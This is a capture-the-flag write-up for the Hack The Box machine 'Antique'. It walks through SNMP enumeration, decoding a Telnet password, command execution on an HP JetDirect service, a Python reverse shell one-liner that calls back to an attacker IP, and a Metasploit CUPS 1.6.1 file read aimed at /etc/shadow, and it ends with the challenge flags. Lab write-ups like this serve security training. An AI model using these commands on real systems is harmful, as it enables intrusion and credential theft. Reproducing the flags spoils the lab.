Skip to content

Antique

Machine Details

Operating System
Linux
Difficulty
Easy
IP Address
10.129.64.18
Platform
Hack The Box ↗
Resolution Summary
  1. Find open SNMP community and extract information.
  2. Decode information to find password of telnet service.
  3. Execute system commands via Telnet to gain a reverse shell as user lp.
  4. Use vulnerability in CUPS v1.6.1 to read arbitrary files.
Used tools
  • nmap
  • snmpwalk
  • socat
  • msfconsole
  • python3

Information Gathering

Scanned all TCP ports:

❯ sudo nmap -p- -sS -Pn -n --open -T4 10.129.64.18 -oG ports
PORT   STATE SERVICE
23/tcp open  telnet

Enumerated open TCP ports:

❯ sudo nmap -p23 -sCV -Pn -n -T4 10.129.64.18 -oN nmap
PORT   STATE SERVICE VERSION
23/tcp open  telnet?
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, Help, JavaRMI, Kerberos, LANDesk-RC, LDAPBindReq, LDAPSearchReq, LPDString, NCP, NotesRPC, RPCCheck, RTSPRequest, SIPOptions, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServer, TerminalServerCookie, WMSRequest, X11Probe, afp, giop, ms-sql-s, oracle-tns, tn3270: 
|     JetDirect
|     Password:
|   NULL: 
|_    JetDirect
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port23-TCP:V=7.95%I=7%D=1/5%Time=695BFA37%P=x86_64-pc-linux-gnu%r(NULL,
SF:F,"\nHP\x20JetDirect\n\n")%r(GenericLines,19,"\nHP\x20JetDirect\n\nPass
...

Enumerated top 200 UDP ports:

❯ sudo nmap -sCVU --top-ports 200 -Pn -n --open -T4 10.129.64.18 -oN nmap_udp
PORT      STATE         SERVICE       VERSION
161/udp   open          snmp          SNMPv1 server (public)

Enumeration

Port 23/TCP - Telnet

The only thing here is a prompt asking for a password:

❯ netcat 10.129.64.18 23

HP JetDirect

Password: hello
Invalid password

Port 161/UDP - SNMPv1

The tool nmap already told us that the community string is public. Let’s extract all info we can with snmpwalk.

❯ snmpwalk -v 1 -c "public" 10.129.64.18 .1
iso.3.6.1.2.1 = STRING: "HTB Printer"
iso.3.6.1.4.1.11.2.3.9.1.1.13.0 = BITS: 50 40 73 73 77 30 72 64 40 31 32 33 21 21 31 32 33 1 3 9 17 18 19 22 23 25 26 27 30 31 33 34 35 37 38 39 42 43 49 50 51 54 57 58 61 65 74 75 79 82 83 86 90 91 94 95 98 103 106 111 114 115 119 122 123 126 130 131 134 135 
iso.3.6.1.4.1.11.2.3.9.1.2.1.0 = No more variables left in this MIB View (It is past the end of the MIB tree)

## Exploitation

SNMT to obtain Telnet password

From the SNMP output, we can see we have a string HTB Printer and a series of numbers called BITS. We are going to try and decode the BITS section, to do this we will import them into a Python script, then, for each bit we will get it’s ASCII equivalent, using the bit as a Hexadecimal value.

❯ catn script.py
string = "50 40 73 73 77 30 72 64 40 31 32 33 21 21 31 32 33 1 3 9 17 18 19 22 23 25 26 27 30 31 33 34 35 37 38 39 42 43 49 50 51 54 57 58 61 65 74 75 79 82 83 86 90 91 94 95 98 103 106 111 114 115 119 122 123 126 130 131 134 135"

list = string.split(" ")

for bit in list:
    print(chr(int(bit,16)), end="")

print()

❯ python3 script.py
P@ssw0rd@123!!123	"#%&'01345789BCIPQTWXaetuyăĆđĔĕęĢģĦİıĴĵ

We can see it returned a possible password, let’s test it against the Telnet service.

❯ netcat 10.129.64.18 23

HP JetDirect

Password: P@ssw0rd@123!!123

Please type "?" for HELP
> ?

To Change/Configure Parameters Enter:
Parameter-name: value <Carriage Return>

Parameter-name Type of value
ip: IP-address in dotted notation
...
listrawport: (No parameter required)

exec: execute system commands (exec id)
exit: quit from telnet session
>

It is clearly visible that we have a exec command which allows us to run system commands.

> exec id; whoami 
uid=7(lp) gid=7(lp) groups=7(lp),19(lpadmin)
lp

We will execute a reverse shell in order to have a full TTY. We can try normal reverse shells with bash or netcat, but none of them work. We have the option to do a reverse shell using Python, but only if we can successfully run Python commands.

> exec python3 -c 'print("hello")'
hello

As we can see, the Python command is getting processed successfully, this means that we can potentially execute a reverse shell using this. We can generate the command using the website https://www.revshells.com/, there we need to fill out the top fields and select Pyhon3 shortest, finally we start listening in one terminal and run the command provided by the web in the already existing Telnet session.

# Listener
nc -nlvp 3000
Connection received on 10.129.64.18 59464
lp@antique:~$
exec python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("10.10.17.107",3000));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("bash")'

We can find the user flag in its home directory.


Privilege Escalation to root

Local enumeration

If we list the ports listening we will see the port 631 being exposed in the localhost address.

lp@antique:~$ ss -tlpn
State     Recv-Q    Send-Q       Local Address:Port        Peer Address:Port    Process
LISTEN    0         128                0.0.0.0:23               0.0.0.0:*        users:(("python3",pid=1164,fd=3))
LISTEN    0         4096             127.0.0.1:631              0.0.0.0:*

To analyze this port we can launch a socat instance to create a port forwarding, then we scan that new port using nmap.

lp@antique:~$ socat TCP-LISTEN:8080,fork,reuseaddr TCP:127.0.0.1:631

# Attacker
❯ nmap -p8080 -sCV 10.129.64.18
PORT     STATE SERVICE VERSION
8080/tcp open  ipp     CUPS 1.6
|_http-server-header: CUPS/1.6
|_http-title: Bad Request - CUPS v1.6.1

We can see that we have a CUPS running in the version 1.6.1, which contains a vulnerability that would allow us, as members of the lpadmin group, to read any file in the system.

Privilege Escalation vector

To run this exploit we will need a session inside of metasploit. To do this we will change our listener to be from metasploit and run the command to launch a reverse shell again.

The module we will use to receive the reverse shell is payload/linux/x64/shell_reverse_tcp, remember to set the options and run the handler.

[msf](Jobs:0 Agents:0) >> use payload/linux/x64/shell_reverse_tcp
[msf](Jobs:0 Agents:0) payload(linux/x64/shell_reverse_tcp) >> show options 

Module options (payload/linux/x64/shell_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


View the full module info with the info, or info -d command.

[msf](Jobs:0 Agents:0) payload(linux/x64/shell_reverse_tcp) >> set LHOST 0.0.0.0
LHOST => 0.0.0.0
[msf](Jobs:0 Agents:0) payload(linux/x64/shell_reverse_tcp) >> set LPORT 3000
LPORT => 3000
[msf](Jobs:0 Agents:0) payload(linux/x64/shell_reverse_tcp) >> exploit
[*] Payload Handler Started as Job 0

[*] Started reverse TCP handler on 0.0.0.0:3000

Once we execute the command to launch the reverse shell, we will see the following message in metasploit.

[*] Command shell session 1 opened (10.10.17.107:3000 -> 10.129.64.18:59468) at 2026-01-05 19:36:15 +0100

Now we have to use the module post/multi/escalate/cups_root_file_read, we saw from the previous message that the session ID is 1.

[msf](Jobs:1 Agents:1) payload(linux/x64/shell_reverse_tcp) >> use post/multi/escalate/cups_root_file_read
[msf](Jobs:1 Agents:1) post(multi/escalate/cups_root_file_read) >> show options 

Module options (post/multi/escalate/cups_root_file_read):

   Name       Current Setting          Required  Description
   ----       ---------------          --------  -----------
   ERROR_LOG  /var/log/cups/error_log  yes       The original path to the CUPS error log
   FILE       /etc/shadow              yes       The file to steal.
   SESSION                             yes       The session to run this module on


View the full module info with the info, or info -d command.

[msf](Jobs:1 Agents:1) post(multi/escalate/cups_root_file_read) >> set SESSION 1
SESSION => 1
[msf](Jobs:1 Agents:1) post(multi/escalate/cups_root_file_read) >> set FILE /root/root.txt
FILE => /root/root.txt
[msf](Jobs:1 Agents:1) post(multi/escalate/cups_root_file_read) >> exploit
[!] SESSION may not be compatible with this module:
[!]  * incompatible session type: shell. This module works with: .
[+] User in lpadmin group, continuing...
[+] cupsctl binary found in $PATH
[+] nc binary found in $PATH
[*] Found CUPS 1.6.1
[+] File /root/root.txt (32 bytes) saved to /root/.msf4/loot/20260105193811_default_10.129.64.18_cups_file_read_544662.txt
[*] Cleaning up...
[*] Post module execution completed
[msf](Jobs:1 Agents:1) post(multi/escalate/cups_root_file_read) >>

If we read the loot file /root/.msf4/loot/20260105193811_default_10.129.64.18_cups_file_read_544662.txt we will find the root flag.


Trophy

User.txt

0fdfa737f2ba2749b1d48eadd1fc072b

Root.txt

e03cc9d353e4ec2a68df3d96a261c735